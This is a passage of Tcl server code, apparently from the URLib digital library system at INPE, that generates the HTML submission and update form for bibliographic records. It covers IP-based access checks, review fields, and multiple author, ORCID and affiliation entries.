			set documentWriteToProcessKey "document.write (\"&nbsp;&nbsp;<INPUT class=button id=${buttonName}id TYPE=submit VALUE=$buttonName $onClickExit>\")"
			set documentWrite "document.write (\"&nbsp;&nbsp;<INPUT class=button id=${buttonName}id TYPE=submit VALUE=$buttonName $onClickExit2>\")"
		}

		if [string equal {} $referenceType] {set referenceType Misc}

# fieldList
# {%@doi doi} {%F label} {%L callnumber}
		set fieldList [Execute $serverAddressWithIP [list ReturnReferModel $referenceType]]
# puts $referenceType
# puts $fieldList
# puts $language

# Migration 25/1/04
# fileTypeWarning
		if {[info exists contentTypeTable($referenceType)] && \
		[info exists fileTypeWarningArray($referenceType)] && \
		![string equal {} $contentTypeTable($referenceType)]} {
			set contentTypeList [join $contentTypeTable($referenceType) <BR>]
			set fileTypeWarning $fileTypeWarningArray($referenceType)
		} else {
			set fileTypeWarning {}
		}
# Migration 25/1/04 - end

# Security issue
		if ![info exists permissionList] {set permissionList {}}
		lappend permissionList $env(IP_ADDR)
		lappend permissionList $env(REMOTE_ADDR)	;# added by GJFB on 2014-01-05 - using gerald in standalone mode IP_ADDR == 127.0.0.1 and REMOTE_ADDR == 192.168.0.11 - without this line on get a "forbidden update" message because found == 0
# puts --$permissionList--
		set found [AllowedRemoteAddress $permissionList]
# puts $found
		if {!$found && \
		[lsearch -exact $permissionList {All Sites}] == -1 && \
		[lsearch -exact $permissionList {All IPs}] == -1} {
# not found
			if [info exists returnAddress] {set cgi(returnaddress) $returnAddress}	;# returnAddress may be defined in displayControl.tcl
			if $update {
				set header ${update header}
				puts [subst [subst ${forbidden update}]]
			} else {
				set header ${submission header}
				puts [subst [subst ${forbidden submission}]]
			}
			return
		}
		if [Execute $serverAddressWithIP Check-htpasswd] {
			puts {htpasswd program not found}
			return
		}
		if {!$update && [string equal {127.0.0.1} $env(REMOTE_ADDR)]} {
			set header ${submission header}
			puts [subst [subst ${disabled submission}]]
			return
		}
# Security issue - end

# Migration 25/1/04
# footnoteNumber
		if [info exists initialFootnoteNumberTable($referenceType)] {
			set footnoteNumber $initialFootnoteNumberTable($referenceType)
			incr footnoteNumber -1
		}
# Migration 25/1/04 - end

# Process review data
# append review fields to fieldList
		if {[info exists optionTable2($referenceType,%@documentstage)] && [regexp {Closed Review} $optionTable2($referenceType,%@documentstage)]} {
			if $update {
# update
				if [file exists ../$col/$repName/doc/.reviewArray.tcl] {
#					source ../$col/$repName/doc/.reviewArray.tcl
# array set reviewArray {iconet.com.br/banon/2004/06.13.00.36,avaliacao 1 iconet.com.br/banon/2004/06.13.00.36,clareza 3 iconet.com.br/banon/2004/06.13.00.36,relevancia 1 iconet.com.br/banon/2004/06.13.00.36,conclusiva 1 iconet.com.br/banon/2004/06.13.00.36,consistencia 1 iconet.com.br/banon/2004/06.13.00.36,qualidadegrafica 1 iconet.com.br/banon/2004/06.13.00.36,comentarioeditor {} iconet.com.br/banon/2004/06.13.00.36,comentarioautor {} iconet.com.br/banon/2004/06.13.00.36,aprovacao {} iconet.com.br/banon/2004/06.13.00.36,adequacao 1}
# array set reviewArray {iconet.com.br/banon/2006/11.01.23.55,commentsfortheauthors {} iconet.com.br/banon/2006/11.01.23.55,summaryofthepaper {} iconet.com.br/banon/2006/11.01.23.55,presentation {} iconet.com.br/banon/2006/11.01.23.55,recommendation {} iconet.com.br/banon/2006/11.01.23.55,technicalsoundness {} iconet.com.br/banon/2006/11.01.23.55,confidenceintheevaluation {} iconet.com.br/banon/2006/11.01.23.55,overallrating {} iconet.com.br/banon/2006/11.01.23.55,commentsfortheprogramcommitteeonly {} iconet.com.br/banon/2006/11.01.23.55,originality {} iconet.com.br/banon/2006/11.01.23.55,significance {}}
					if [catch {source ../$col/$repName/doc/.reviewArray.tcl} error] {
						puts "error in sourcing file <TT>&lt\;$env(DOCUMENT_ROOT)/col/$repName/doc/.reviewArray.tcl&gt\;</TT>:"
						puts <BR>
						puts $error
					}
					foreach index [lsort -command FieldCompare [array names reviewArray]] {
						regsub {.*,} $index {} fieldName
						lappend fieldList [list $fieldName $fieldName]
					}
				}
			}
		}
# Process review data - end

		if $update {
# submissionDestination
# used when closing an ePrint
# current destination
			set submissionDestination $env(SERVER_NAME):$env(SERVER_PORT)/col/$currentRep
			if {[string equal {add} $updateOption] && [info exists cgi(_(_previousedition)]} {
# ePrint update like
# insert sourcesite - needed to return to the source form after an update error (e.g, unknown username)
				regsub { +} $serverAddress {+} serverAddress2
				regsub {\?} $returnInfo "?sourcesite=$serverAddress2\\&" returnInfo
				set index [lindex [array names submissionDestinationTable $referenceType,*] 0]
				if {[string compare {} $index] != 0} {
					regsub "$referenceType," $index {} referFieldName	;# @area
					set referFieldIndex [lsearch -regexp $fieldList $referFieldName]
					set label [lindex [lindex $fieldList $referFieldIndex] 1]	;# area
					array set submissionDestinationArray $submissionDestinationTable($index)
					if [info exists localMetadataArray($metadataRep-0,$label)] {
						set value $localMetadataArray($metadataRep-0,$label)
						if [info exists submissionDestinationArray($value)] {
# new destination
							set submissionDestination $submissionDestinationArray($value)
							if [info exists cgi(_(_previousedition)] {
								regsub {\?} $returnInfo {?testoutofdateform=no\&} returnInfo
							}
						}
					}
				}
			}
		}
		set hiddenInputList {}
		set requiredFieldList {}
#		set requiredFieldAtCloseList {}
# puts [array names cgi]
# puts [array get cgi]
# puts <BR>
# puts $fieldList

## Put documentstage at the end
#		set documentStageIndex [lsearch $fieldList {%@documentstage documentstage}]
#		set fieldList [lreplace $fieldList $documentStageIndex $documentStageIndex] 
#		lappend fieldList {%@documentstage documentstage}
## Put documentstage at the end - end
		
#		lappend fieldList {%@readpermission readpermission}	;# readpermission is part of the refer model - see fieldAttributeTable in utilitiesStart.tcl
# Create orderingFieldArray
# orderingFieldTable is set in displayCongtrol.tcl
		if [info exists orderingFieldTable($referenceType)] {
			set i 0
			foreach fieldName $orderingFieldTable($referenceType) {
				incr i
				array set orderingFieldArray [list $fieldName $i] 
			}
		}
# Create orderingFieldArray - end

		set fillOutFieldCode {}	;# updated in CreateSelect
		set numberOfCreatorFields 0 ;# could be any integer (the right value is computed later when needed)

# sourceFieldNameArray (needed in FindFieldValue)
		if [info exists cgi(sourcereferencetype)] {
			array set sourceFieldNameArray [join [Execute $serverAddressWithIP [list ReturnReferModel $cgi(sourcereferencetype)]]]
			if [info exists excludedSourceFieldNameTable($referenceType)] {
				foreach index $excludedSourceFieldNameTable($referenceType) {
					if [info exists sourceFieldNameArray($index)] {unset sourceFieldNameArray($index)}
				}
			}
		}

		set orcidLineList {}
		set electronicMailAddressLineList {}
		set ifEMailAddressCondition {document.update.__e_mailaddress_e_mailaddress.value.match(eMailPattern) == null}

		set onLoad { onLoad="Disable()"}

# ifListCreation (part of a JavaScript)
		set lineList  {}

# label
		set labelFieldValue [FindFieldValue {_F_label} %F label $referenceType $update]	;# lattes: 4336175279058172 2 ChagasChanCors:2010:AnSãPa

		set color1 #DCDCDC	;# used in xxSubmit.tcl independently of orderingFieldTable
 		if {![info exists orderingFieldTable($referenceType)] || [string equal {} $orderingFieldTable($referenceType)]} {
			set color1 #DCDCDC
			set color2 #EEEEEE
			set color3 #ECDCDC
			set color $color1			
			array set colorArray [list 1 $color1 2 $color2 3 $color1 4 $color3 5 $color1 6 $color2 7 $color3 - $color3]		
			source ../$col/$URLibServiceRepository/auxdoc/.fieldNameXareaArray.tcl	;# set fieldNameXareaArray
		}		
	
# FOREACH
# fieldList is based on the refer model
# puts $fieldList
		foreach field [lsort -command CompareFieldName $fieldList] {
# puts $field
# field => %A author
			set fieldName [lindex $field 0]	;# %A
			set label [lindex $field 1]	;# author
			regsub {e-mail} $label {e_mail} label2

			if [info exists cgi(sourcereferencetype)] {
				if [string equal {Electronic Source} $cgi(sourcereferencetype)] {
# Electronic Source
# closing ePrint
# Migration 2009-09-04
# documentstage is not used anymore for ePrint
# if below could be dropped in the future
					if [regexp {^%@documentstage$} $fieldName] {
# drop the documentstage field
						continue
					}
# Migration 2009-09-04 - end
					if [regexp {^%1$} $fieldName] {
# turn the %1 (stageofalternatepublication) field empty
						if [info exists localMetadataArray($metadataRep-0,stageofalternatepublication)] {
							unset localMetadataArray($metadataRep-0,stageofalternatepublication)
						}
					}
					if [regexp {^%8$} $fieldName] {
# turn the %8 (lastupdatedate) field empty
						if [info exists localMetadataArray($metadataRep-0,lastupdatedate)] {
							unset localMetadataArray($metadataRep-0,lastupdatedate)
						}
					}
				}
				if [string equal {Conference Proceedings} $cgi(sourcereferencetype)] {
					if [regexp {^%S$} $fieldName] {continue}	;# added by GJFB on 2021-01-12 - when transposing to Audiovisual Material the booktitle field should be excluded otherwise its BibINPE format would remain like the one use for Conference Proceedings
					if [regexp {^%3$} $fieldName] {
# turn the %3 (targetfile) field empty
						if [info exists localMetadataArray($metadataRep-0,targetfile)] {
							unset localMetadataArray($metadataRep-0,targetfile)
						}
					}
				}
			}
# reshape field
			regsub -all {%|@| |-} $field {_} field	;# for JavaScript compatibility - %A author -> _A_author

			if [string equal {%A} $fieldName] {
# multiple creator fields
				set creatorFieldName $field
				lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"creatorfield\" VALUE=\"$field\">"
				lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"creatorfieldindex\" VALUE=\"\">"
				lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"removeindex\" VALUE=\"\">"
				lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"upindex\" VALUE=\"\">"
				lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"downindex\" VALUE=\"\">"
				lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"filloutindex\" VALUE=\"\">"
				lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"filloutfieldname\" VALUE=\"\">"
			}
# value
			set value [FindFieldValue $field $fieldName $label $referenceType $update]
# puts [list $fieldName = --$value--]
			if {[string equal {%P} $fieldName] && [info exists cgi(sourcereferencetype)] && [string equal {Conference Proceedings} $cgi(sourcereferencetype)] && [string equal {Audiovisual Material} $referenceType]} {
				set value {}	;# added by GJFB on 2021-01-13 otherwise Number of Transparencies inherits the value of Pages of a Conference Paper
			}
			if [info exists displayTable($referenceType,$fieldName)] {

				foreach {translatedCustomizedFieldName translatedFootnoteReference} [Translate $fieldName $label $referenceType] {break}

				if [string equal {%A} $fieldName] {
# creatorFieldName2 - used for electronicmailaddress JavaScript alert
					set creatorFieldName2 $translatedCustomizedFieldName	;# ex: Author
				}
						
#				set fillInstruction [lindex $displayTable($referenceType,$fieldName) 1]	;# commented by GJFB on 2016-06-05
				set displayValue [subst $displayTable($referenceType,$fieldName)]	;# added by GJFB on 2016-06-05 - subst added to solve a conditonal display of the mark field in Conference Proceeding form based on a list of supervisors (see SetFieldProperties) - subst is needed when using metaforms, e.g., when displayTable contains expression like: {[expr [lsearch -index 1 $supervisorList $userName] == -1?{[list 0 {} {} {}]}:{[list 3 {} {} {Recomendação do orientador}]}]}
				set fillInstruction [lindex $displayValue 1]	;# added by GJFB on 2016-06-05
				regsub {\[Help .*\]} $fillInstruction {} fillInstruction
				set fillInstruction [subst $fillInstruction]	;# subst is to resolve: [expr $update?{}:{<FONT COLOR=BROWN>(*)</FONT>}] (see administrator page script)
				if {[regexp "$requiredFieldSymbol" $fillInstruction] || \
				([info exists requiredFieldAtCloseSymbol] && \
				[regexp "$requiredFieldAtCloseSymbol" $fillInstruction])} {
# required field
					regsub {abstract} $label2 {abstract2} label2	;# abstract is a reserved word for Netscape
# puts $label2
# puts $translatedCustomizedFieldName
					if [regexp -nocase {<FONT class='automaticFillingField'>(.*)</FONT>} $translatedCustomizedFieldName m translatedCustomizedFieldName2] {
						lappend rowList "<INPUT TYPE=HIDDEN NAME=\"$label2\" VALUE=\"$translatedCustomizedFieldName2\">"
					} else {
						regsub -all {<[^>]*>} $translatedCustomizedFieldName {} filteredTranslatedCustomizedFieldName	;# added by GJFB on 2016-06-06 - drop HTML tags
						lappend rowList "<INPUT TYPE=HIDDEN NAME=\"$label2\" VALUE=\"$filteredTranslatedCustomizedFieldName\">"
					}
					lappend requiredFieldList $field
				}
			}

			if [info exists displayTable($referenceType,$fieldName)] {
# fieldTypeNumber
#				set fieldTypeNumber [subst [lindex $displayTable($referenceType,$fieldName) 0]]	;# subst is needed when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}	;# commented by GJFB on 2016-06-05
				set fieldTypeNumber [lindex $displayValue 0]	;# subst is needed when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}	;# added by GJFB on 2016-06-05 - subst replaced to solve a conditonal display of the mark field in Conference Proceeding form based on a list of supervisors (see SetFieldProperties) - subst is needed when using metaforms, e.g., when displayTable contains expression like: {[expr [lsearch -index 1 $supervisorList $userName] == -1?{[list 0 {} {} {}]}:{[list 3 {} {} {Recomendação do orientador}]}]}
				
# archivingPolicy may exist since %@readpermission is after %@archivingpolicy (see col/dpi.inpe.br/banon/1999/08.08.19.14/doc/referTables.tcl)		
				if {[regexp {%@readpermission} $fieldName] && [info exists archivingPolicy] && ![string equal {} $archivingPolicy]} {
# read permission field and archiving policy is not empty
# hide the read permission field (read permission will be set automatically at the document next access, see Get- and Get)
					set fieldTypeNumber 0	;# force to 0
				}
				if {$update && ![string equal {External Contribution} $repositoryContentType] && [regexp {%@versiontype|%@archivingpolicy} $fieldName]} {
# update or not External Contribution or (version type or archiving policy field)
# hide the version and archiving policy type field
					set fieldTypeNumber 0	;# force to 0
				}

				if {![info exists orderingFieldTable($referenceType)] || [string equal {} $orderingFieldTable($referenceType)]} {
					set areaNumber $fieldNameXareaArray($referenceType,$label)
					set cellBgColor $colorArray($areaNumber)
				}
				
				if {$fieldTypeNumber == 0} {
# 0
# puts [list $fieldName = --$value--]

#					if {![string equal {} $value] || [string equal {__e_mailaddress_e_mailaddress} $field]} # commented by GJFB on 2013-04-24 in order to the JavaScript FillOutField function working even for default empty value
#  # of subst (n)  # of \ 2^n   \mu        # of \ (2^n - 1) 	$x
#		1				2		\\mu			1				\$x
#		2				4		\\\\mu			3				\\\$x
#		3				8		\\\\\\\\mu		7				\\\\\\\$x
							regsub -all {\\} $value {\\\\\\\\\\\\\\\\} value	;# \ -> \\\\\\\\ ($\mu$) - added by GJFB on 2012-04-09 - useful in abstract - # of \: 16 = 2 * 8 (for 3 subst)
							regsub -all {\$} $value {\\\\\\\\\\\\\$} value	;# $ -> \\\\\\\$ ($w$-operator) - added by GJFB on 2012-04-09 - # of \: 13 = 2 * 7 - 1 (for 3 subst)
# target file (e.g., caoticas[1].pdf) - the two substitutions below are needed to avoid e.g., an invalid command name "1" when opening the form
# notes [CD-ROM]
#							regsub -all {\[} $value {\\\\\\\[} value	;# commented by GJFB on 2011-02-09 - doesn't work with a field value like [CD-ROM]
#							regsub -all {\]} $value {\\\\\\\]} value	;# commented by GJFB on 2011-02-09 - doesn't work with a field value like [CD-ROM]
							regsub -all {\[} $value {\\\\\\\\\\\\\[} value	;# added by GJFB on 2011-02-09
							regsub -all {\]} $value {\\\\\\\\\\\\\]} value	;# added by GJFB on 2011-02-09
#						#
					if {!$update && [string equal {__mirrorrepository_mirrorrepository} $field] && [string equal {} $value]} {
# mirror repository field at submit
# Add the current mirror repository value at submit
						lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"$field\" VALUE=\"$currentRep\">"
					} else {
if 0 {
# old code - default value should not be used to change a field value (here value of mirrorrepository) at update - it is a strange behaviour
						if [string equal {__mirrorrepository_mirrorrepository} $field] {
# mirror repository field at update
# defaultValue
							set defaultValue [subst [lindex $displayTable($referenceType,$fieldName) 2]]	;# subst is useful when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}
							if ![string equal {} $defaultValue] {
								lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"$field\" VALUE=\"$defaultValue\">"	;# force using non empty default value - added by GJFB on 2013-05-27 - used, for example, to return to the original mirror repository when just uploading file (see sid.inpe.br/mtc-m19/2013/05.22.12.17)
							} else {
								lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"$field\" VALUE=\"$value\">"
							}
						} else {
							lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"$field\" VALUE=\"$value\">"
						}
} else {
# new code by GJFB on 2014-02-20
						lappend hiddenInputList "<INPUT TYPE=HIDDEN NAME=\"$field\" VALUE=\"$value\">"
}
					}
#					#
# Migration 2006-05-14
# old collection may contain multiple e-mail addresses in the e-mail address field
					if {[string equal {%@e-mailaddress} $fieldName] && $update} {
# %@e-mailaddress
						set ifEMailAddressCondition {0}	;# don't check the e-mail address
					}
# Migration 2006-05-14 - end
				} elseif {[regexp {1.1} $fieldTypeNumber]} {
# 1.1
					if ![string equal {} $value] {
						if [regexp {^\n} $value] {
							set value [string trim $value]
							set value \n\n$value\n	;# the browsers don't display the first blank line, the trailing blank line is for easily filling one more author
						} else {
							set value [string trim $value]
							set value $value\n	;# the trailing blank line is for easily filling one more author
						}
					}
					set onBlur {}	;# disable onblur effect
#					set valueArray($fieldName) $value	;# added by GJFB on 2013-10-12 (as in 2010-11-26) - together with the 3 backslashes below (\\\) solves square bracket in the contents field of Archival Unit
					set valueArray($fieldName) [EscapeUntrustedData $value]	;# added by GJFB on 2019-04-30 - applies to field like nexthigherunit
					if [regexp {^(__resumeid_resumeid|__orcid_orcid|__group_group|__affiliation_affiliation|__electronicmailaddress_electronicmailaddress)$} $field] {
					lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReference</FONT></TD>
<TD BGCOLOR=#EEEEEE><TEXTAREA$onBlur id=\"${field}2\" COLS=54 ROWS=4 WRAP=OFF STYLE=\"font-family: Verdana\">\\\$valueArray($fieldName)</TEXTAREA></TD>
<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>
<INPUT TYPE=HIDDEN name=\"$field\" id=\"$field\" VALUE=\"\">"
					} else {
					lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReference</FONT></TD>
<TD BGCOLOR=#EEEEEE><TEXTAREA$onBlur NAME=\"$field\" COLS=54 ROWS=4 WRAP=OFF STYLE=\"font-family: Verdana\">\\\$valueArray($fieldName)</TEXTAREA></TD>
<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
					}
				} elseif {$fieldTypeNumber == 1.2} {
# 1.2
					if ![string equal {} $value] {
						if [regexp {^\n} $value] {
							set value [string trim $value]
							set value \n\n$value\n	;# the browsers don't display the first blank line
						} else {
							set value [string trim $value]
							set value $value\n
						}
					}
					if [regexp {%X|%K} $fieldName] {
						set numberOfRows 8
					} else {
						set numberOfRows 4
					}
					if [regexp {%K} $fieldName] {
						regsub -all {,\s*} [regsub {\.$} [string trimright $value] {}] \n value ;# added by GJFB on 2021-08-22 - one keyword per line
					}
# puts --$value--
#					set valueArray($fieldName) $value
					set valueArray($fieldName) [EscapeUntrustedData $value]	;# added by GJFB on 2019-04-30 - applies to field like abstract
					lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReference</FONT></TD>
<TD BGCOLOR=#EEEEEE><TEXTAREA NAME=\"$field\" COLS=54 ROWS=$numberOfRows WRAP=VIRTUAL STYLE=\"font-family: Verdana\">\\\$valueArray($fieldName)</TEXTAREA></TD>
<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
				} elseif {$fieldTypeNumber == 1.3} {
# 1.3
					set value [EscapeUntrustedData $value]	;# added by GJFB on 2019-04-30 - not tested
					lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldName</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReference</FONT></TD>
<TD BGCOLOR=#EEEEEE><TEXTAREA NAME=\"$field\" COLS=54 ROWS=4 WRAP=PHYSICAL STYLE=\"font-family: Verdana\">$value</TEXTAREA></TD>
<TD BGCOLOR=#EEEEEE COLSPAN=4>&nbsp;</TD></TR>"
				} elseif {[regexp {2.1} $fieldTypeNumber]} {
# 2.1
					if {[string equal {%A} $fieldName] && ![string equal {Resume} $referenceType]} {
# %A
# multiple creator fields

if 0 {
						lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}&nbsp;</FONT></TD>
<TD BGCOLOR=$cellBgColor >&nbsp;</TD>
<TD BGCOLOR=#EEEEEE>&nbsp;</TD>
<TD BGCOLOR=#EEEEEE>&nbsp;</TD><TD BGCOLOR=#EEEEEE><INPUT TYPE=submit VALUE=\"+\" class=multipleCreatorButton ONCLICK=\"SetCreatorFieldIndex(0)\" STYLE=\"font-size: 8pt\; font-family: Verdana\" TITLE=\"${Add one more author field}\"></TD><TD BGCOLOR=#EEEEEE>&nbsp;</TD><TD BGCOLOR=#EEEEEE>&nbsp;</TD></TR>"
} else {
						if ![info exists multipleCreatorWarning] {set multipleCreatorWarning {&nbsp;}}
						lappend rowList "<TR>
<TD BGCOLOR=#EEEEFF ALIGN=CENTER>${cellFont}&nbsp;</FONT></TD>
<TD BGCOLOR=#EEEEFF ALIGN=CENTER COLSPAN=2>${cellFont}$multipleCreatorWarning</FONT></TD>
<TD BGCOLOR=#EEEEFF ALIGN=CENTER>${cellFont}<font style=\"color: brown\">&nbsp;</font></FONT></TD>
<TD BGCOLOR=#EEEEFF ALIGN=CENTER>${cellFont}<font style=\"color: brown\">v</font></FONT></TD>
<TD BGCOLOR=#EEEEFF ALIGN=CENTER COLSPAN=2>${cellFont}&nbsp;</FONT></TD></TR>"
}
						if [info exists displayTable($referenceType,%@resumeid)] {
# resumeid
							set fieldTypeNumberForResumeID [subst [lindex $displayTable($referenceType,%@resumeid) 0]]	;# subst is useful when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}
							if [regexp {^2.1$|^4$} $fieldTypeNumberForResumeID] {
								foreach {translatedCustomizedFieldNameForResumeID translatedFootnoteReferenceForResumeID} [Translate %@resumeid resumeid $referenceType] {break}
								set resumeIDValueList [FindFieldValue {__resumeid_resumeid} %@resumeid resumeid $referenceType $update]
# puts --$resumeIDValueList--
							}
						}
						if [info exists displayTable($referenceType,%@orcid)] {
# orcid
							set fieldTypeNumberForORCID [subst [lindex $displayTable($referenceType,%@orcid) 0]]	;# subst is useful when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}
							if [regexp {^2.1$|^4$} $fieldTypeNumberForORCID] {
								foreach {translatedCustomizedFieldNameForORCID translatedFootnoteReferenceForORCID} [Translate %@orcid orcid $referenceType] {break}
								set orcidValueList [FindFieldValue {__orcid_orcid} %@orcid orcid $referenceType $update]
# puts --$resumeIDValueList--
							}
						}
# puts [info exists displayTable($referenceType,%@group)]
						if [info exists displayTable($referenceType,%@group)] {
# group
							set fieldTypeNumberForGroup [subst [lindex $displayTable($referenceType,%@group) 0]]	;# subst is useful when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}
# puts $fieldTypeNumberForGroup							
							if [regexp {^(2.1|3)$} $fieldTypeNumberForGroup] {
								foreach {translatedCustomizedFieldNameForGroup translatedFootnoteReferenceForGroup} [Translate %@group group $referenceType] {break}
								set groupValueList [FindFieldValue {__group_group} %@group group $referenceType $update]
# puts $groupValueList
							}
						}
						if [info exists displayTable($referenceType,%@affiliation)] {
# affiliation
							set fieldTypeNumberForAffiliation [subst [lindex $displayTable($referenceType,%@affiliation) 0]]	;# subst is useful when using metaforms, e.g., when displayTable contains expression like: {[expr $update?{3}:{0}]}
							if [regexp {2.1} $fieldTypeNumberForAffiliation] {
								foreach {translatedCustomizedFieldNameForAffiliation translatedFootnoteReferenceForAffiliation} [Translate %@affiliation affiliation $referenceType] {break}
								set affiliationValueList [ProcessBrackets [FindFieldValue {__affiliation_affiliation} %@affiliation affiliation $referenceType $update]]	;# may contain square brackets that must be coded - added by GJFB on 2011-12-06
							}
						}
						if {[info exists displayTable($referenceType,%@electronicmailaddress)] && [regexp {2.1} [lindex $displayTable($referenceType,%@electronicmailaddress) 0]]} {
# electronicmailaddress
							foreach {translatedCustomizedFieldNameForelectronicmailaddress translatedFootnoteReferenceForelectronicmailaddress} [Translate %@electronicmailaddress electronicmailaddress $referenceType] {break}
							set electronicmailaddressValueList [FindFieldValue {__electronicmailaddress_electronicmailaddress} %@electronicmailaddress electronicmailaddress $referenceType $update]
#							lappend rowList "<INPUT TYPE=HIDDEN NAME=\"electronicmailaddress\" VALUE=\"$translatedCustomizedFieldNameForelectronicmailaddress\">"	;# for JavaScript alert
						}
												
						set numberOfCreatorFields [llength $value]
						set i 0
# puts --$value--
						foreach value2 $value {
							incr i
							set cellBackgroundColor [lindex {#DDDDFF #FFDDDD} [expr $i%2]]
# label value example: lattes: 4336175279058172 2 ChagasChanCors:2010:AnSãPa
							set aTag {}; set aTag2 {}
							if [regexp {^lattes:} $labelFieldValue] {
								set idLattes [lindex $labelFieldValue 1]
								set authorNumber [lindex $labelFieldValue 2]
								if {$i == $authorNumber} {
									set aTag "<A HREF=\"http://lattes.cnpq.br/$idLattes\"  TARGET=\"_blank\" TITLE=\"curriculo Lattes\">"
									set aTag2 "</A>"
								}
							}
# creator
							lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$aTag[CreateOrdinalNumber $language $i] $translatedCustomizedFieldName$aTag2</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReference</FONT></TD>
<TD BGCOLOR=$cellBackgroundColor><INPUT class=submitInput TYPE=TEXT NAME=\"$field$i\" VALUE=\"$value2\" STYLE=\"font-family: Verdana\"></TD>
<TD BGCOLOR=$cellBackgroundColor>[expr $i > 1?{<INPUT TYPE=submit VALUE=\"<\" class=multipleCreatorButton ONCLICK=\"SetUpIndex($i)\" STYLE=\"font-size: 8pt\; font-family: Verdana\" TITLE=\"${Move this author field up}\">}:{&nbsp\;}]</TD>
<TD BGCOLOR=$cellBackgroundColor><INPUT TYPE=submit VALUE=\"+\" class=multipleCreatorButton ONCLICK=\"SetCreatorFieldIndex($i)\" STYLE=\"font-size: 8pt\; font-family: Verdana\" TITLE=\"${Add one more author field}\"></TD>
<TD BGCOLOR=$cellBackgroundColor>[expr $numberOfCreatorFields != 1?{<INPUT TYPE=submit VALUE=\"x\" class=multipleCreatorButton ONCLICK=\"SetRemoveIndex($i)\" STYLE=\"font-size: 8pt\; font-family: Verdana\" TITLE=\"${Remove this author field}\">}:{&nbsp\;}]</TD>
<TD BGCOLOR=$cellBackgroundColor>[expr $i < $numberOfCreatorFields?{<INPUT TYPE=submit VALUE=\">\" class=multipleCreatorButton ONCLICK=\"SetDownIndex($i)\" STYLE=\"font-size: 8pt\; font-family: Verdana\" TITLE=\"${Move this author field down}\">}:{&nbsp\;}]</TD></TR>"

							lappend rowList "<INPUT TYPE=HIDDEN NAME=\"author$i\" VALUE=\"[CreateOrdinalNumber $language $i 0] $translatedCustomizedFieldName\">"	;# for JavaScript alert
							
							if [info exists displayTable($referenceType,%@resumeid)] {
# resumeid
								if [regexp {^(2.1|4)$} $fieldTypeNumberForResumeID] {
									set resumeIDValue [lindex $resumeIDValueList [expr $i - 1]]
									if {[info exists fillingButtonTable($referenceType)] && \
									$fillingButtonTable($referenceType)} {
										set fillingButton "<INPUT TYPE=submit VALUE=\"=\" class=multipleCreatorButton ONCLICK=\"SetFillOutParameters($i, 'resumeid')\" STYLE=\"font-size: 8pt\; font-family: Verdana\" TITLE=\"${Try to fill out this field}\">"
									} else {
										set fillingButton "&nbsp;"
									}
									if [regexp {^2.1$} $fieldTypeNumberForResumeID] {
#<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}[subst $translatedCustomizedFieldNameForResumeID]</FONT></TD>
										lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldNameForResumeID ([CreateOrdinalNumber $language $i]&nbsp;$translatedCustomizedFieldName)</FONT></TD>
<TD BGCOLOR=$cellBgColor ALIGN=CENTER NOWRAP>${cellFont}$translatedFootnoteReferenceForResumeID</FONT></TD>
<TD BGCOLOR=$cellBackgroundColor><INPUT class=submitInput TYPE=TEXT NAME=\"__resumeid_resumeid$i\" VALUE=\"$resumeIDValue\" STYLE=\"font-family: Verdana\"></TD>
<TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>$fillingButton</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD><TD BGCOLOR=$cellBackgroundColor>&nbsp;</TD></TR>"
									} elseif {[regexp {^4$} $fieldTypeNumberForResumeID]} {									
										lappend rowList "<TR>
<TD BGCOLOR=$cellBgColor ALIGN=RIGHT class=fieldNameTD>${cellFont}$translatedCustomizedFieldNameForResumeID ([CreateOrdinalNumber $language $i]&nbsp;$translatedCustomizedFieldName)</FONT></TD>
